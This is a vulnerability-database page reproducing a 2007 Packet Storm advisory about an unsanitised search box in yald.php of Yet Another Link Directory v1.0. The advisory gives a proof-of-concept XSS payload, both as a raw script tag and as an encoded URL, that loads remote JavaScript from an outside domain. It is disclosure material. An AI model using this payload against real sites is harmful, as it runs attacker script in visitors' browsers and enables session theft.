Lucene search

yald10-xss.txt

🗓️ 13 Jan 2007 00:00:00Reported by LunyType

packetstorm🔗 packetstormsecurity.com👁 16 Views

Yet Another Link Directory v1.0, yald.php search box XS

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`Yet Another Link Directory v1.0  
http://yald.sourceforge.net/  
  
Effected files:  
yald.php  
  
---------------------------  
yald.php search box XSS  
  
User input isn't sanatized before being generated. In the search box for a PoC put:  
<script src=http://www.youfucktard.com/xss.js></script>  
  
url:  
http://example.com/yald.php?search=%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fyoufucktard.com%2Fxss.js%3E%3C%2FSCRIPT%3E  
  
- Luny  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

13 Jan 2007 00:00Current

7.4High risk

Vulners AI Score7.4